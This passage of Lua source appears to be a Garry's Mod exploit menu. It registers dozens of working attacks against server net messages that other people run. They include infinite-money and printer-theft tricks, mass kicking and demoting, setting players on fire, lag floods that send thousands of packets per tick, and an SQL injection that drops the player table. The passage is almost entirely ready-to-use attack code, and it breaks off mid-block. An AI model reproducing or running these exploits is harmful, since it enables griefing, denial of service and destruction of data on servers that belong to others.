5512TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5513TextEntry.OnEnter = function( self )
5514surface.PlaySound("garrysmod/ui_click.wav")
5515NOTIFICATION("Changed")
5516net.Start("NewRPNameSQL")
5517net.WriteString( (self:GetValue()), 32)
5518net.SendToServer()
5519inputFrame:SetVisible(false)
5520end
5521end )
5522end
5523
5524status = ValidNetString("chname")
5525if (status) then
5526CHATPRINT("Exploit Trouvé : Your RP Name #3 [chname]")
5527addExploit( "76","Your RP Name #3", "discovered by Leith", function()
5528surface.PlaySound("garrysmod/ui_click.wav")
5529inputFrameExists = true
5530inputFrame = vgui.Create( "DFrame" )
5531inputFrame:SetTitle("Enter your name")
5532inputFrame:SetSize( 400, 75 )
5533inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5534inputFrame:SetDraggable(false)
5535inputFrame:ShowCloseButton(true)
5536inputFrame:MakePopup()
5537inputFrame.Paint = function( self, w, h )
5538draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5539end
5540local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5541TextEntry:SetSize( 380, 30 )
5542TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5543TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5544TextEntry.OnEnter = function( self )
5545surface.PlaySound("garrysmod/ui_click.wav")
5546NOTIFICATION("Changed")
5547net.Start("chname")
5548net.WriteString( (self:GetValue()) )
5549net.WriteString(" ")
5550net.SendToServer()
5551inputFrame:SetVisible(false)
5552end
5553end )
5554end
5555
5556status = ValidNetString("AbilityUse")
5557if (status) then
5558CHATPRINT("Exploit Trouvé : Free Bonus [AbilityUse]")
5559addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
5560surface.PlaySound("garrysmod/ui_click.wav")
5561for k, v in ipairs(rp.abilities.list) do
5562CHATPRINT("ID - "..k.." | "..v:GetName())
5563inputFrameExists = true
5564inputFrame = vgui.Create( "DFrame" )
5565inputFrame:SetTitle("Enter the id of the bonus")
5566inputFrame:SetSize( 400, 75 )
5567inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5568inputFrame:SetDraggable(false)
5569inputFrame:ShowCloseButton(true)
5570inputFrame:MakePopup()
5571inputFrame.Paint = function( self, w, h )
5572draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5573end
5574local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5575TextEntry:SetSize( 380, 30 )
5576TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5577TextEntry:SetText( "6" )
5578TextEntry.OnEnter = function( self )
5579surface.PlaySound("garrysmod/ui_click.wav")
5580NOTIFICATION("Received")
5581net.Start("AbilityUse")
5582net.WriteInt(tonumber(self:GetValue()), 32)
5583net.SendToServer()
5584inputFrame:SetVisible(false)
5585end
5586end
5587end )
5588end
5589
5590status = ValidNetString("race_accept")
5591if (status) then
5592CHATPRINT("Exploit Trouvé : Get Car [race_accept]")
5593addExploit( "78","Get Car", "", function()
5594surface.PlaySound("garrysmod/ui_click.wav")
5595inputFrameExists = true
5596inputFrame = vgui.Create( "DFrame" )
5597inputFrame:SetTitle("Enter the id of the car")
5598inputFrame:SetSize( 400, 75 )
5599inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5600inputFrame:SetDraggable(false)
5601inputFrame:ShowCloseButton(true)
5602inputFrame:MakePopup()
5603inputFrame.Paint = function( self, w, h )
5604draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5605end
5606local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5607TextEntry:SetSize( 380, 30 )
5608TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5609TextEntry:SetText( "1" )
5610TextEntry.OnEnter = function( self )
5611surface.PlaySound("garrysmod/ui_click.wav")
5612NOTIFICATION("Starting")
5613net.Start("race_accept")
5614net.WriteInt(tonumber(self:GetValue()), 32)
5615net.SendToServer()
5616end
5617end )
5618end
5619
5620status = ValidNetString("NLR_SPAWN")
5621if (status) then
5622CHATPRINT("Exploit Trouvé : Respawn #3 [NLR_SPAWN]")
5623addExploit( "79","Respawn #3", "instant revival", function()
5624surface.PlaySound("garrysmod/ui_click.wav")
5625NOTIFICATION("Starting")
5626net.Start("NLR_SPAWN")
5627net.WriteEntity(LocalPlayer())
5628net.SendToServer()
5629end )
5630end
5631
5632status = ValidNetString("Kun_ZiptieStruggle")
5633if (status) then
5634CHATPRINT("Exploit Trouvé : Break Handcuffs [Kun_ZiptieStruggle]")
5635addExploit( "80","Break Handcuffs", "Instantly breaks the handcuffs", function()
5636surface.PlaySound("garrysmod/ui_click.wav")
5637NOTIFICATION("Starting")
5638for i=0,30 do
5639net.Start("Kun_ZiptieStruggle")
5640net.SendToServer()
5641end
5642end )
5643end
5644
5645status = ValidNetString("JB_Votekick")
5646if (status) then
5647CHATPRINT("Exploit Trouvé : Abuses Jailbreak Votekick [JB_Votekick]")
5648addExploit( "81","Abuses Jailbreak Votekick", "Kick Tous Le Monde", function()
5649surface.PlaySound("garrysmod/ui_click.wav")
5650NOTIFICATION("Starting")
5651for k,v in pairs(player.GetAll()) do
5652net.Start("JB_Votekick")
5653net.WriteEntity(v)
5654net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
5655net.SendToServer()
5656end
5657end )
5658end
5659
5660status = ValidNetString("Letthisdudeout")
5661if (status) then
5662CHATPRINT("Exploit Trouvé : ByB Force Bail [Letthisdudeout]")
5663addExploit( "82","ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
5664surface.PlaySound("garrysmod/ui_click.wav")
5665NOTIFICATION("Starting")
5666net.Start("Letthisdudeout")
5667net.WriteEntity(LocalPlayer())
5668net.SendToServer()
5669end )
5670end
5671
5672status = ValidNetString("opr_withdraw")
5673if (status) then
5674CHATPRINT("Exploit Trouvé : Lagger #14 [opr_withdraw]")
5675addExploit( "83","Lagger #14", "discovered by Leith", function()
5676surface.PlaySound("garrysmod/ui_click.wav")
5677NOTIFICATION("Starting")
5678timer.Create("lagger14", 0,0, function()
5679for i = 1, 1000 do
5680net.Start("opr_withdraw",true)
5681net.WriteEntity(LocalPlayer())
5682net.SendToServer()
5683end
5684end )
5685end )
5686end
5687
5688status = ValidNetString("NC_GetNameChange")
5689if (status) then
5690CHATPRINT("Exploit Trouvé : Change all names [NC_GetNameChange]")
5691addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
5692surface.PlaySound("garrysmod/ui_click.wav")
5693inputFrameExists = true
5694inputFrame = vgui.Create( "DFrame" )
5695inputFrame:SetTitle("Enter the name")
5696inputFrame:SetSize( 400, 75 )
5697inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5698inputFrame:SetDraggable(false)
5699inputFrame:ShowCloseButton(true)
5700inputFrame:MakePopup()
5701inputFrame.Paint = function( self, w, h )
5702draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5703end
5704local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5705TextEntry:SetSize( 380, 30 )
5706TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5707TextEntry:SetText( "AHAHAHAHAH" )
5708TextEntry.OnEnter = function( self )
5709surface.PlaySound("garrysmod/ui_click.wav")
5710NOTIFICATION("Starting")
5711for k, v in pairs( player.GetAll() ) do
5712net.Start("NC_GetNameChange")
5713net.WriteEntity(v)
5714net.WriteString( (self:GetValue()) )
5715net.WriteString( (self:GetValue()) )
5716net.SendToServer()
5717end
5718end
5719end )
5720end
5721
5722status = ValidNetString("revival_revive_accept")
5723if (status) then
5724CHATPRINT("Exploit Trouvé : Reanimation #2 [revival_revive_accept]")
5725addExploit( "85","Reanimation #2", "instant revival, discovered by Leith", function()
5726surface.PlaySound("garrysmod/ui_click.wav")
5727if !timer.Exists( "exploit_revive" ) then
5728NOTIFICATION( "Enabled" )
5729timer.Create( "exploit_revive", 0.5, 0, function()
5730if !LocalPlayer():Alive() then
5731net.Start("revival_revive_accept")
5732net.SendToServer()
5733end
5734end )
5735else
5736timer.Remove( "exploit_revive" )
5737NOTIFICATION( "Disabled" )
5738end
5739end )
5740end
5741
5742status = ValidNetString("join_disconnect")
5743if (status) then
5744CHATPRINT("Exploit Trouvé : Lagger #15 [join_disconnect]")
5745addExploit( "86","Lagger #15", "b1g lags my duder", function()
5746surface.PlaySound("garrysmod/ui_click.wav")
5747NOTIFICATION("Starting")
5748if not timer.Exists("lagger15") then
5749timer.Create("lagger15", 0.5, 0, function()
5750for i = 1, 3000 do
5751net.Start("join_disconnect",true)
5752net.WriteEntity(table.Random(player.GetAll()))
5753net.SendToServer()
5754end
5755end)
5756else
5757timer.Remove("lagger15")
5758NOTIFICATION("Stopping")
5759end
5760end )
5761end
5762
5763status = ValidNetString("BuyFirstTovar")
5764if (status) then
5765CHATPRINT("Exploit Trouvé : Free Physgun [BuyFirstTovar]")
5766addExploit( "87","Free Physgun", "get physgun", function()
5767surface.PlaySound("garrysmod/ui_click.wav")
5768NOTIFICATION("Take physgun")
5769net.Start("BuyFirstTovar")
5770net.WriteString("0")
5771net.SendToServer()
5772end )
5773end
5774
5775status = ValidNetString("BuySecondTovar")
5776if (status) then
5777CHATPRINT("Exploit Trouvé : Free Gravitygun [BuySecondTovar]")
5778addExploit( "88","Free Gravitygun", "get gravitygun", function()
5779surface.PlaySound("garrysmod/ui_click.wav")
5780NOTIFICATION("Take gravitygun")
5781net.Start("BuySecondTovar")
5782net.WriteString("0")
5783net.SendToServer()
5784end )
5785end
5786
5787status = ValidNetString("MONEY_SYSTEM_GetWeapons")
5788if (status) then
5789CHATPRINT("Exploit Trouvé : Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
5790addExploit( "89","Give Weapons #2", "get weapons", function()
5791surface.PlaySound("garrysmod/ui_click.wav")
5792NOTIFICATION("Starting")
5793for i = 1,32 do
5794net.Start("MONEY_SYSTEM_GetWeapons")
5795net.WriteInt(i, 8)
5796net.SendToServer()
5797end
5798end )
5799end
5800
5801status = ValidNetString("MCon_Demote_ToServer")
5802if (status) then
5803CHATPRINT("Exploit Trouvé : Demote All Players #2 [MCon_Demote_ToServer]")
5804addExploit( "90","Demote All Players #2", "demote all players", function()
5805surface.PlaySound("garrysmod/ui_click.wav")
5806NOTIFICATION("Starting")
5807for k,v in pairs(player.GetAll()) do
5808net.Start("MCon_Demote_ToServer")
5809net.WriteString(v:SteamID())
5810net.SendToServer()
5811end
5812end )
5813end
5814
5815status = ValidNetString("withdrawMoney")
5816if (status) then
5817CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #3 [withdrawMoney]")
5818addExploit( "91","Voler L'argents De Tous #3", "withdraw money from all printers, discovered by Leith", function()
5819surface.PlaySound("garrysmod/ui_click.wav")
5820NOTIFICATION("Starting")
5821for k, v in pairs(ents.GetAll()) do
5822net.Start("withdrawMoney")
5823net.WriteEntity(v)
5824net.SendToServer()
5825end
5826end )
5827end
5828
5829status = ValidNetString("withdrawMoney")
5830if (status) then
5831CHATPRINT("Exploit Trouvé : Lagger #16 [withdrawMoney]")
5832addExploit( "92","Lagger #16", "discovered by Leith", function()
5833surface.PlaySound("garrysmod/ui_click.wav")
5834NOTIFICATION("Starting")
5835timer.Create("lagger16", 0, 0, function()
5836for i=1,1000 do
5837net.Start("withdrawMoney",true)
5838net.WriteEntity(LocalPlayer())
5839net.SendToServer()
5840end
5841end )
5842end )
5843end
5844
5845status = ValidNetString("SyncPrinterButtons76561198027292625")
5846if (status) then
5847CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #4 [SyncPrinterButtons76561198027292625]")
5848addExploit( "93","Voler L'argents De Tous #4", "withdraw money from all printers", function()
5849surface.PlaySound("garrysmod/ui_click.wav")
5850NOTIFICATION("Starting")
5851for k, v in pairs(ents.GetAll()) do
5852net.Start("SyncPrinterButtons76561198027292625")
5853net.WriteEntity(v)
5854net.WriteUInt(2, 4)
5855net.SendToServer()
5856end
5857end )
5858end
5859
5860status = ValidNetString("gPrinters.retrieveMoney")
5861if (status) then
5862CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #5 [gPrinters.retrieveMoney]")
5863addExploit( "94","Voler L'argents De Tous #5", "withdraw money from all printers, discovered by Leith", function()
5864surface.PlaySound("garrysmod/ui_click.wav")
5865NOTIFICATION("Starting")
5866for k, v in pairs(ents.GetAll()) do
5867net.Start("gPrinters.retrieveMoney")
5868net.WriteEntity(v)
5869net.SendToServer()
5870end
5871end )
5872end
5873
5874status = ValidNetString("gPrinters.retrieveMoney")
5875if (status) then
5876CHATPRINT("Exploit Trouvé : Lagger #17 [gPrinters.retrieveMoney]")
5877addExploit( "95","Lagger #17", "discovered by Leith", function()
5878surface.PlaySound("garrysmod/ui_click.wav")
5879NOTIFICATION("Starting")
5880timer.Create("lagger17", 0, 0, function()
5881for i=1,1000 do
5882net.Start("gPrinters.retrieveMoney",true)
5883net.WriteEntity(LocalPlayer())
5884net.SendToServer()
5885end
5886end )
5887end )
5888end
5889
5890status = ValidNetString("NGII_TakeMoney")
5891if (status) then
5892CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #6 [NGII_TakeMoney]")
5893addExploit( "96","Voler L'argents De Tous #6", "withdraw money from all printers", function()
5894surface.PlaySound("garrysmod/ui_click.wav")
5895NOTIFICATION("Starting")
5896for k, v in pairs(ents.GetAll()) do
5897net.Start("NGII_TakeMoney")
5898net.WriteEntity(v)
5899net.WriteEntity(LocalPlayer())
5900net.SendToServer()
5901end
5902end )
5903end
5904
5905status = ValidNetString("money_clicker_withdraw")
5906if (status) then
5907CHATPRINT("Exploit Trouvé : Lagger #18 [money_clicker_withdraw]")
5908addExploit( "97","Lagger #18", "discovered by Leith", function()
5909surface.PlaySound("garrysmod/ui_click.wav")
5910NOTIFICATION("Starting")
5911timer.Create("lagger18", 0, 0, function()
5912for i=1,1000 do
5913net.Start("money_clicker_withdraw",true)
5914net.WriteEntity(LocalPlayer())
5915net.SendToServer()
5916end
5917end )
5918end )
5919end
5920
5921status = ValidNetString("opr_withdraw")
5922if (status) then
5923CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #7 [opr_withdraw]")
5924addExploit( "98","Voler L'argents De Tous #7", "withdraw money from all printers", function()
5925surface.PlaySound("garrysmod/ui_click.wav")
5926NOTIFICATION("Starting")
5927for k, v in pairs(ents.GetAll()) do
5928net.Start("opr_withdraw")
5929net.WriteEntity(v)
5930net.SendToServer()
5931end
5932end )
5933end
5934
5935status = ValidNetString("NET_DoPrinterAction")
5936if (status) then
5937CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #8 [NET_DoPrinterAction]")
5938addExploit( "99","Voler L'argents De Tous #8", "withdraw money from all printers", function()
5939surface.PlaySound("garrysmod/ui_click.wav")
5940NOTIFICATION("Starting")
5941for k, v in pairs(ents.GetAll()) do
5942if v:GetClass():find("print") then
5943net.Start("NET_DoPrinterAction")
5944net.WriteEntity(LocalPlayer())
5945net.WriteEntity(v)
5946net.WriteInt(2,16)
5947net.SendToServer()
5948end
5949end
5950end )
5951end
5952
5953status = ValidNetString("tickbooksendfine")
5954if (status) then
5955CHATPRINT("Exploit Trouvé : Ticket Book [tickbooksendfine]")
5956addExploit( "100","Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
5957surface.PlaySound("garrysmod/ui_click.wav")
5958NOTIFICATION("Starting")
5959local reasonstable = {"Nice nan ? :D"}
5960for k, v in pairs(player.GetAll()) do
5961if v != LocalPlayer() then
5962net.Start("tickbooksendfine")
5963net.WriteString(v:SteamID())
5964net.WriteTable(reasonstable)
5965net.WriteDouble(1500, 32)
5966net.SendToServer()
5967end
5968end
5969end )
5970end
5971
5972status = ValidNetString("SyncPrinterButtons16690")
5973if (status) then
5974CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #9 [SyncPrinterButtons16690]")
5975addExploit( "101","Voler L'argents De Tous #9", "withdraw money from all printers", function()
5976surface.PlaySound("garrysmod/ui_click.wav")
5977NOTIFICATION("Starting")
5978for k, v in pairs(ents.GetAll()) do
5979if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
5980net.Start("SyncPrinterButtons16690")
5981net.WriteEntity(v)
5982net.WriteUInt(2, 4)
5983net.SendToServer()
5984end
5985end
5986end)
5987end
5988
5989status = ValidNetString("withdrawp")
5990if (status) then
5991CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #10 [withdrawp]")
5992addExploit( "102","Voler L'argents De Tous #10", "withdraw money from all printers", function()
5993surface.PlaySound("garrysmod/ui_click.wav")
5994NOTIFICATION("Starting")
5995for k,v in pairs(ents.FindByClass("derma_printer")) do
5996net.Start("withdrawp")
5997net.WriteEntity(v)
5998net.SendToServer()
5999end
6000end)
6001end
6002
6003status = ValidNetString("withdrawp")
6004if (status) then
6005CHATPRINT("Exploit Trouvé : Lagger #19 [withdrawp]")
6006addExploit( "103","Lagger #19", "discovered by Leith", function()
6007surface.PlaySound("garrysmod/ui_click.wav")
6008NOTIFICATION("Starting")
6009timer.Create("lagger19", 0, 0, function()
6010for i=1,1000 do
6011net.Start("withdrawp",true)
6012net.WriteEntity(LocalPlayer())
6013net.SendToServer()
6014end
6015end )
6016end )
6017end
6018
6019status = ValidNetString("DarkRP_SS_Gamble")
6020if (status) then
6021CHATPRINT("Exploit Trouvé : Argent Gratuite #3 [DarkRP_SS_Gamble]")
6022addExploit( "104","Argent Gratuite #3", "an exploit in the addon 'DarkRP Casino'", function()
6023surface.PlaySound("garrysmod/ui_click.wav")
6024NOTIFICATION("Starting")
6025net.Start("DarkRP_SS_Gamble")
6026net.WriteInt(99999, 32)
6027net.WriteInt(1, 32)
6028net.WriteInt(0, 32)
6029net.WriteInt(0, 32)
6030net.WriteInt(1, 32)
6031net.SendToServer()
6032end )
6033end
6034
6035status = ValidNetString("PCAdd")
6036if (status) then
6037CHATPRINT("Exploit Trouvé : Delete Promocode [PCAdd]")
6038addExploit( "105","Delete Promocode", "delete all promocodes", function()
6039surface.PlaySound("garrysmod/ui_click.wav")
6040NOTIFICATION("Starting")
6041net.Start("PCAdd")
6042net.WriteString("alahman")
6043net.WriteString("300000000")
6044net.SendToServer()
6045timer.Simple(3,function()
6046net.Start("ActivatePC")
6047net.WriteString("alahman")
6048net.SendToServer()
6049net.Start("PCDelAll")
6050net.SendToServer()
6051end )
6052end )
6053end
6054
6055status = ValidNetString("viv_hl2rp_disp_message")
6056if (status) then
6057CHATPRINT("Exploit Trouvé : HL2 Disp Message [viv_hl2rp_disp_message]")
6058addExploit( "106","HL2 Disp Message", "hl2 voice commands", function()
6059surface.PlaySound("garrysmod/ui_click.wav")
6060NOTIFICATION("Starting")
6061for name, command in pairs (dispatchCommands) do
6062net.Start("viv_hl2rp_disp_message")
6063net.WriteString(command)
6064net.SendToServer()
6065end
6066end )
6067end
6068
6069status = ValidNetString("Kun_SellDrug")
6070if (status) then
6071CHATPRINT("Exploit Trouvé : Argent Gratuite #4 [Kun_SellDrug]")
6072addExploit( "107","Argent Gratuite #4", "get monies", function()
6073surface.PlaySound("garrysmod/ui_click.wav")
6074if !timer.Exists( "freemoney4" ) then
6075NOTIFICATION("Starting")
6076timer.Create( "freemoney4", 0, 0, function()
6077for i=1,1000 do
6078net.Start("Kun_SellDrug")
6079net.WriteString("mushroom")
6080net.SendToServer()
6081end
6082end)
6083else
6084timer.Remove( "freemoney4" )
6085NOTIFICATION("Stopping")
6086end
6087end )
6088end
6089
6090status = ValidNetString("net_PSUnBoxServer")
6091if (status) then
6092CHATPRINT("Exploit Trouvé : Point Shop Unbox [net_PSUnBoxServer]")
6093addExploit( "108","Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
6094surface.PlaySound("garrysmod/ui_click.wav")
6095NOTIFICATION("Starting")
6096for k,v in pairs(player.GetAll()) do
6097local i = 0
6098for k2,v2 in pairs(PS.Items) do
6099if !v:PS_HasItem(v2.ID) then
6100timer.Simple(k*i*1.7,function()
6101net.Start("net_PSUnBoxServer")
6102net.WriteEntity(v)
6103net.WriteString(v2.ID)
6104net.SendToServer()
6105end)
6106i = i + 1
6107end
6108end
6109end
6110end )
6111end
6112
6113status = ValidNetString("pplay_sendtable")
6114if (status) then
6115CHATPRINT("Exploit Trouvé : ☢ Fuck the SQL database ☢ [pplay_sendtable]")
6116addExploit( "109","☢ Fuck the SQL database ☢", "fuck all", function()
6117surface.PlaySound("garrysmod/ui_click.wav")
6118NOTIFICATION("Starting")
6119local tbl = {}
6120tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
6121tbl.ply = LocalPlayer()
6122net.Start("pplay_sendtable")
6123net.WriteTable(tbl)
6124net.SendToServer()
6125end )
6126end
6127
6128status = ValidNetString("75_plus_win")
6129if (status) then
6130CHATPRINT("Exploit Trouvé : Argent Gratuite #5 [75_plus_win]")
6131addExploit( "110","Argent Gratuite #5", "Recevoir De L'Argent", function()
6132surface.PlaySound("garrysmod/ui_click.wav")
6133NOTIFICATION("Starting")
6134net.Start("75_plus_win")
6135net.WriteString("99999999")
6136net.WriteEntity(LocalPlayer())
6137net.SendToServer()
6138end )
6139end
6140
6141status = ValidNetString("ATMDepositMoney")
6142if (status) then
6143CHATPRINT("Exploit Trouvé : Argent Gratuite #6 [ATMDepositMoney]")
6144addExploit( "111","Argent Gratuite #6", "an exploit in 'ATM'", function()
6145surface.PlaySound("garrysmod/ui_click.wav")
6146NOTIFICATION("Starting")
6147net.Start("ATMDepositMoney")
6148net.WriteFloat(-9999999)
6149net.SendToServer()
6150end )
6151end
6152
6153status = ValidNetString("SellMinerals")
6154if (status) then
6155CHATPRINT("Exploit Trouvé : Argent Gratuite #7 [SellMinerals]")
6156addExploit( "112","Argent Gratuite #7", "an exploit in 'eMining'", function()
6157surface.PlaySound("garrysmod/ui_click.wav")
6158NOTIFICATION("Starting")
6159for k,v in pairs(SkillDB) do
6160if not ( v.iSkill == true ) then
6161net.Start("Upgrade")
6162net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
6163net.SendToServer()
6164net.Start("SellMinerals")
6165net.WriteTable({ Target = LocalPlayer() })
6166net.SendToServer()
6167end
6168end
6169end )
6170end
6171
6172status = ValidNetString("TakeBetMoney")
6173if (status) then
6174CHATPRINT("Exploit Trouvé : Argent Gratuite #8 [TakeBetMoney]")
6175addExploit( "113","Argent Gratuite #8", "Recevoir De L'Argent", function()
6176surface.PlaySound("garrysmod/ui_click.wav")
6177NOTIFICATION("Starting")
6178net.Start("TakeBetMoney")
6179net.WriteTable({1e333333 , 1e333333})
6180net.SendToServer()
6181end )
6182end
6183
6184status = ValidNetString("Kun_SellOil")
6185if (status) then
6186CHATPRINT("Exploit Trouvé : Argent Gratuite #9 [Kun_SellOil]")
6187addExploit( "114","Argent Gratuite #9", "Recevoir De L'Argent", function()
6188surface.PlaySound("garrysmod/ui_click.wav")
6189NOTIFICATION("Starting")
6190for k,v in pairs(ents.GetAll()) do
6191net.Start("Kun_SellOil")
6192net.WriteEntity(v)
6193net.SendToServer()
6194end
6195end )
6196end
6197
6198status = ValidNetString("DepositMoney")
6199if (status) then
6200CHATPRINT("Exploit Trouvé : Argent Gratuite #10 [DepositMoney]")
6201addExploit( "115","Argent Gratuite #10", "Recevoir De L'Argent", function()
6202surface.PlaySound("garrysmod/ui_click.wav")
6203NOTIFICATION("Starting")
6204net.Start("DepositMoney")
6205for k,v in pairs(ents.GetAll()) do
6206net.WriteEntity(v)
6207net.WriteString(-100000000 )
6208net.WriteEntity(LocalPlayer())
6209net.SendToServer()
6210end
6211end )
6212end
6213
6214status = ValidNetString("NET_SS_DoBuyTakeoff")
6215if (status) then
6216CHATPRINT("Exploit Trouvé : Argent Gratuite #11 [NET_SS_DoBuyTakeoff]")
6217addExploit( "116","Argent Gratuite #11", "Recevoir De L'Argent", function()
6218surface.PlaySound("garrysmod/ui_click.wav")
6219NOTIFICATION("Starting")
6220net.Start("NET_SS_DoBuyTakeoff",true)
6221net.WriteEntity(LocalPlayer())
6222net.WriteEntity(table.Random(player.GetAll()))
6223net.WriteTable({})
6224net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
6225net.SendToServer()
6226end )
6227end
6228
6229status = ValidNetString("NET_EcSetTax")
6230if (status) then
6231CHATPRINT("Exploit Trouvé : Argent Gratuite #12 [NET_EcSetTax]")
6232addExploit( "117","Argent Gratuite #12", "Recevoir De L'Argent", function()
6233surface.PlaySound("garrysmod/ui_click.wav")
6234NOTIFICATION("Starting")
6235net.Start("NET_EcSetTax")
6236net.WriteInt(-9999999999, 16)
6237net.SendToServer()
6238end )
6239end
6240
6241status = ValidNetString("RP_Accept_Fine")
6242if (status) then
6243CHATPRINT("Exploit Trouvé : Argent Gratuite #13 [RP_Accept_Fine]")
6244addExploit( "118","Argent Gratuite #13", "Recevoir De L'Argent", function()
6245surface.PlaySound("garrysmod/ui_click.wav")
6246NOTIFICATION("Starting")
6247for k,v in pairs(player.GetAll())do
6248net.Start("RP_Accept_Fine")
6249net.WriteString(v:Nick())
6250net.WriteDouble(-999999999999)
6251net.SendToServer()
6252end
6253end )
6254end
6255
6256status = ValidNetString("drugseffect_remove")
6257if (status) then
6258CHATPRINT("Exploit Trouvé : Remove Weapons [drugseffect_remove]")
6259addExploit( "119","Remove Weapons", "remove all weapons", function()
6260surface.PlaySound("garrysmod/ui_click.wav")
6261NOTIFICATION("Starting")
6262net.Start("drugseffect_remove")
6263net.SendToServer()
6264end )
6265end
6266
6267status = ValidNetString("drugs_money")
6268if (status) then
6269CHATPRINT("Exploit Trouvé : Remove Money [drugs_money]")
6270addExploit( "120","Remove Money", "remove all money", function()
6271surface.PlaySound("garrysmod/ui_click.wav")
6272NOTIFICATION("Starting")
6273net.Start("drugs_money")
6274net.SendToServer()
6275end )
6276end
6277
6278status = ValidNetString("CRAFTINGMOD_SHOP")
6279if (status) then
6280CHATPRINT("Exploit Trouvé : Argent Gratuite #14 [CRAFTINGMOD_SHOP]")
6281addExploit( "121","Argent Gratuite #14", "an exploit in 'crafting mod'", function()
6282surface.PlaySound("garrysmod/ui_click.wav")
6283NOTIFICATION("Starting")
6284net.Start("CRAFTINGMOD_SHOP")
6285net.WriteTable({
6286BUY = -9999999;
6287type = 1
6288})
6289net.WriteInt(1,16)
6290net.SendToServer()
6291end )
6292end
6293
6294status = ValidNetString("drugs_ignite")
6295if (status) then
6296CHATPRINT("Exploit Trouvé : Fire Players [drugs_ignite]")
6297addExploit( "122","Fire Players", "", function()
6298surface.PlaySound("garrysmod/ui_click.wav")
6299NOTIFICATION("Starting")
6300net.Start("drugs_ignite")
6301net.WriteString("player")
6302net.SendToServer()
6303end )
6304end
6305
6306status = ValidNetString("drugs_ignite")
6307if (status) then
6308CHATPRINT("Exploit Trouvé : Fire Props [drugs_ignite]")
6309addExploit( "123","Fire Props", "", function()
6310surface.PlaySound("garrysmod/ui_click.wav")
6311NOTIFICATION("Starting")
6312net.Start("drugs_ignite")
6313net.WriteString("prop_physics")
6314net.SendToServer()
6315end )
6316end
6317
6318status = ValidNetString("drugseffect_hpremove")
6319if (status) then
6320CHATPRINT("Exploit Trouvé : Change HP [drugseffect_hpremove]")
6321addExploit( "124","Change HP", "", function()
6322surface.PlaySound("garrysmod/ui_click.wav")
6323NOTIFICATION("Starting")
6324net.Start("drugseffect_hpremove")
6325net.WriteString(99999)
6326net.SendToServer()
6327end )
6328end
6329
6330status = ValidNetString("drugs_text")
6331if (status) then
6332CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props #2 [drugs_text]")
6333addExploit( "125","Supprimer Tous Les Props #2", "", function()
6334surface.PlaySound("garrysmod/ui_click.wav")
6335NOTIFICATION("Starting")
6336net.Start("drugs_text")
6337net.WriteString("prop_physics")
6338net.SendToServer()
6339end )
6340end
6341
6342status = ValidNetString("drugs_give")
6343if (status) then
6344CHATPRINT("Exploit Trouvé : Give Everyone RPG [drugs_give]")
6345addExploit( "126","Give Everyone RPG", "", function()
6346surface.PlaySound("garrysmod/ui_click.wav")
6347NOTIFICATION("Starting")
6348net.Start("drugs_give")
6349net.WriteString("weapon_rpg")
6350net.SendToServer()
6351end )
6352end
6353
6354status = ValidNetString("drugs_text")
6355if (status) then
6356CHATPRINT("Exploit Trouvé : Remove Water [drugs_text]")
6357addExploit( "127","Remove Water", "", function()
6358surface.PlaySound("garrysmod/ui_click.wav")
6359NOTIFICATION("Starting")
6360net.Start("drugs_text")
6361net.WriteString("func_water_analog")
6362net.SendToServer()
6363end )
6364end
6365
6366status = ValidNetString("drugs_effect")
6367if (status) then
6368local eye = LocalPlayer():GetEyeTrace().Entity
6369local send = "del|"..eye:EntIndex()
6370CHATPRINT("Exploit Trouvé : Remove looking at [drugs_effect]")
6371addExploit( "128","Remove looking at", "", function()
6372surface.PlaySound("garrysmod/ui_click.wav")
6373NOTIFICATION("Starting")
6374net.Start("drugs_effect")
6375net.WriteString(send)
6376net.SendToServer()
6377end )
6378end
6379
6380status = ValidNetString("RecKickAFKer")
6381if (status) then
